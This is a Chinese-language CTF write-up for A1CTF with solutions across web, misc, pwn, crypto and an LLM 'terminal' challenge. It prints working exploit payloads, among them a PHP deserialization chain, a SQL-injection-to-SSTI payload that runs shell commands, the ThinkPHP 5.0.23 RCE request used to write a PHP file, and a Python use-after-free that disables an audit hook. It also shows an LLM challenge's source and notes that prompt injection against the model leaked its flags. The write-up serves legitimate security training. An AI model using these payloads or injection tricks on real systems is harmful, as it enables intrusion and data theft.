A1CTF_Writeup
A1CTF writeup
Web
真签到
分析源码,大概是post一个弱比较过了后include传的flag
这边数组绕过+一个盲打
a[]=1&b[]=2&flag=/flag
拿到flag
少女乐队时代
主页面没给提示
尝试用dirsearch扫一下
扫到备份文件www.zip
接着解压得到
初步分析第一个php,是一个反序列化,构链
class MyGO{
public $MyGO;
public $Mujica;
public $CRYCHIC;
/*public function __call($name, $arguments)
{
call_user_func($arguments[0]);//哦,好像不能rce
}*/
}
class Mujica{
public $MyGO;
public $Mujica;
public $CRYCHIC;
/*public static function __callStatic($name, $arguments)
{
readfile('/flag');
}*/
}
class CRYCHIC{
public $MyGO;
public $Mujica;
public $CRYCHIC;
/*public function __toString()
{
return $this->MyGO->Mujica($this->CRYCHIC);
}
*/
}
$cr = new CRYCHIC();//触发ToString
$cr->MyGO = new MyGO();//触发Call
$cr->CRYCHIC = ['Mujica', 'readflag']; // 触发__callStatic
echo serialize($cr);
留言框[尖尖的]
根据hint2是一个sqlite,并且根据hint5
尝试注入:
1 union select 1--+
到这里就没什么思路了,又因为不能正经注入来命令执行
试试SSTI
发现回显
1 union select '{{7*7}}'
确定是SSTI注入,并且用正常的子类大不回显subclass下的列表,试试用config打
最终payload:
1+union+select+'{{config.__class__.__init__.__globals__["os"].popen("cat+/flag").read()}}'
你渴望权力吗?
ThiinkPHP5.0.23的版本漏洞(RCE)
直接对着复现
index.php/?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
正确回显id
接着在id的位置注入php代码
echo "<?php phpinfo();?>" > /var/www/public/test.php
在id的位置ls 一下发现存在并且cat后代码没有被过滤
那么直接打开test.php
最终发现flag
哈里路大旋风
根据页面提示,存在一个源码泄露
用dirsearch递归扫一下
发现网页源码
import base64
import os
from flask import Flask, render_template, request, redirect,render_template_string,jsonify
app = Flask(__name__, static_folder='static')
def home():
return render_template('index.html')
def eeval():
if request.form.get('code') is not None:
code = request.form.get('code')
evalcode = base64.b64decode(code).decode()
waf='''
import sys
import os
import math
def audit_checker(event,args):
if not event in ["builtins.input","builtins.input/result"]:
raise Exception("waf")
sys.addaudithook(audit_checker)
'''
evalcode=waf+str(evalcode)
with open("/tmp/test.py", "w") as f:
f.write(evalcode)
try:
status_code = os.system("python /tmp/test.py > /tmp/output")
except Exception:
return "runtime error!!!",500
if status_code == 0:
return "success"
else:
return "runtime error!!!", 200
def status():
try:
with open("/tmp/output","r") as a:
ans=a.read()
except:
return jsonify({
"success": False,
})
return jsonify({
"result": {
"time": 114,
"memory": 514,
"result": 114514,
"language": 0,
"output": ans,
"compileInfo": "",
"systemInfo": "",
"count": 0
},
"success":True
})
def no_acm(error):
return redirect("/")
def src():
return open(__file__).read()
def backup():
return 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080, debug=False)
代码审计+一点试验就可以发现提交代码时主要触发的就是eeval并且代码成功执行后会与waf拼接并写入,结果可在/myStatus 查询
研究一下waf
import sys
import os
import math
def audit_checker(event,args):
if not event in ["builtins.input","builtins.input/result"]:
raise Exception("waf")
sys.addaudithook(audit_checker)
有点pwn的知识,对我这种彩笔有点挑战,但是还是尝试打一下poc吧。。
class UAF:
def __index__(self):
global memory
uaf.clear()
memory = bytearray()
uaf.extend([0] * 56)
return 1
uaf = bytearray(56)
uaf[23] = UAF()
ptr = int(str(os.system.__init__).split()[-1][2:-1], 16) + 24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
audit_checker_addr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x46920 //对应偏移版本
memory[audit_checker_addr:audit_checker_addr + 8] = [0] * 8
os.system("cat /flag")
成功打出
Misc
签到
写什么输什么
我也爱打ACM
没什么好说的,命令执行
import os
os.system('cat /flag')
操作系统?我只用国产的
先打开终端查看txt拿到第一段
解码得到
zjnuctf{Deep1n
接着根据提示打开bash执行history重复执行第一段
找到第二段
_F0r3ns1c5_
接着根据提示32猜测那段是base32得到第三段
111111s_V3ry
接着根据提示sudo su
转换为root
继续查看history
_easssssy_
根据最后一条提示
在终端运行发现失败,拉到win段用010查一下
拿到flag5
R1ght?}
完整flag:zjnuctf{Deep1n_F0r3ns1c5_111111s_V3ry_easssssy_R1ght?}
Pwn
checkin?
主要分析这边的代码
可以看出在末尾会加一个~
那么就直接闭合前面的代码两个;;偷夹一个命令执行
最后再闭合一次’’
Crypto
解个方程再走吧
呃呃,求解一个线性方程组+一个计算私钥和解密
先用矩阵算出来B
得到p,q,r
验证是素数后直接进行一个常规的RSA即可
from sympy import Matrix
from Crypto.Util.number import long_to_bytes, isPrime
hint1 = 79333650588725980145842690308459793002212384733760792497903824255475158426421388758884515854200584020175891983698755801887895178728215285671100862522546388920
hint2 = 42091939085030707750026943885448586020057668249489766328512130903699537123923304865199162545942232848524822773449884502246598542894968112652618125488987069022
hint3 = 47921639502651352998409354170011465949752789835571950468703988521419628212309010862554662374631739734695758683737532319227640559546280393992908749025031664459
c = 586259203274257904218292861460908156791643965546148862992509079573222630681556586135763674536546688690974489814788756340855428929464618526167483888642489290771336451603000026408733311715167395195739872325726528303132908225270749388819542814906773941078450582493580078337058352635256194643788754312978887738514884542098007460979027337953355588053092228217870701331036051715877358001679941780694544265894801823172720742507964727231224661041139619112619170939564249
e = 65537
A = Matrix([
[1144, 5143, 1281],
[1869, 1356, 1495],
[1620, 1762, 1957]
])
B = Matrix([hint1, hint2, hint3])
solution = A.solve(B)
p = solution[0]
q = solution[1]
r = solution[2]
p, q, r = int(p), int(q), int(r)
assert isPrime(p) and isPrime(q) and isPrime(r), "其中一个解不是素数"
n = p * q * r
phi = (p - 1) * (q - 1) * (r - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag.decode())
Reverse
AI
赛后复现发现自己真是个铸币唉唉,其实三个都是最简单的RCE
挂个源码
class CommandExecuter(BaseAI):
tools = [
{
"type": "function",
"function": {
"name": "execute_safe_linux_command",
"description": "Execute a safe command on a linux machine and return the result",
"parameters": {
"type": "object",
"properties": {
"command": {
"type": "string",
"description": "A linux command, e.g. `ls`",
}
},
"required": ["command"],
},
},
},
]
prompt = f"""
Please act as a Linux terminal shell and simulate `Ubuntu 24.04.1 LTS`.
The user will input a command, and you must reply with the result output after executing the command.
Now logined user is `ctfer`, current dir is `/`, and hostname is `a1natas`.
The flag file is located in `/flag`, and its content is `{FLAG1}`.
You can not reply to any Chinese or English statements. You can only reply to the output result after executing the terminal shell command.
For example, if user input `whoami`, you should reply with user `ctfer`.
If user input any other safe linux commands, you should execute it and return the result.
The execution result must only be the `stdout/stderr` after the command is executed, and must not include the content of the PS1 environment of the terminal.
Do not display the username and host information, for exmaple, never let `ctfer@a1natas:/$` in your reply!
Prohibit outputting content unrelated to the shell execution result output, such as `click here to edit the content.` or `Note: xxx`!
Under no circumstances should empty content be returned!
""".strip()
def get_command_result(self, command: str):
command = command.strip()
match command:
case "whoami":
return "ctfer"
case "pwd":
return "/"
case "id":
return "uid=1000(ctfer) gid=1000(ctfer) groups=1000(ctfer)"
case _:
if command.startswith("hostname"):
return "a1natas"
if command.startswith("ls"):
return "bin dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var"
if any([x in command for x in ["proc/", ".sh", ".py", "env"]]):
return "Permission denied"
if "flag" in command:
return "A1CTF{wood_give_you_this_fake_flag!}"
if not hasattr(t_locals, "thread_messages"):
t_locals.thread_messages = [self.system_message(self.prompt)]
try:
thread_messages = t_locals.thread_messages
thread_messages.append(self.user_message(command))
ai_result = self.send_messages(thread_messages)
thread_messages.append(ai_result)
if not ai_result.tool_calls:
if ai_result.content.startswith("```") and ai_result.content.endswith(
"```"
):
ai_result.content = "\n".join(ai_result.content.splitlines()[1:-1])
return ai_result.content
tool = ai_result.tool_calls[0]
function_name = tool.function.name
function_args = tool.function.arguments
exec_res = "command not found"
if function_name == "execute_safe_linux_command":
args = json_loads(function_args)
while not isinstance(args, dict):
args = json_loads(args)
if cmd := args.get("command"):
exec_res = self.execute_safe_linux_command(cmd)
thread_messages.append(self.tool_message(tool.id, exec_res))
ai_result = self.send_messages(thread_messages)
if ai_result.content.startswith("```") and ai_result.content.endswith(
"```"
):
ai_result.content = "\n".join(ai_result.content.splitlines()[1:-1])
thread_messages.append(ai_result)
return ai_result.content
except Exception:
from traceback import format_exc
print(f"get_command_result error: {format_exc()}\n\n")
return "Runtime Error..."
def execute_safe_linux_command(self, command: str):
process = Popen(
["sh", "-c", command],
stdout=PIPE,
stderr=PIPE,
user="ctfer",
env={"flag": FLAG3},
text=True,
)
try:
stdout, stderr = map(str.strip, process.communicate(timeout=60))
if stdout:
return stdout
elif stderr:
return stderr
return f"/bin/sh: {command.split()[0]}: command not found"
except TimeoutExpired:
process.kill()
return "Command timeout"
A1-Terminal Part1
题面什么提示都没有,自己试一下基础操作
根据源码可以知道其实你输完整的关键词是包褒姒的
尝试一下模糊匹配吧
A1CTF{P@RT1_Promp7_INJ3c7i0n_15_Fun!}
A1-Terminal Part2
试着输一下一些蜜汁语句()
输入有效的LInux语句,那么尝试把我的输入让他执行
A1-Terminal Part3
呃呃其实是先做part3更好()
尝试直接以普通带过滤的rce打
。好的,输入被手动夹断了,其他方式他也识别不出来
那么就交给他执行算了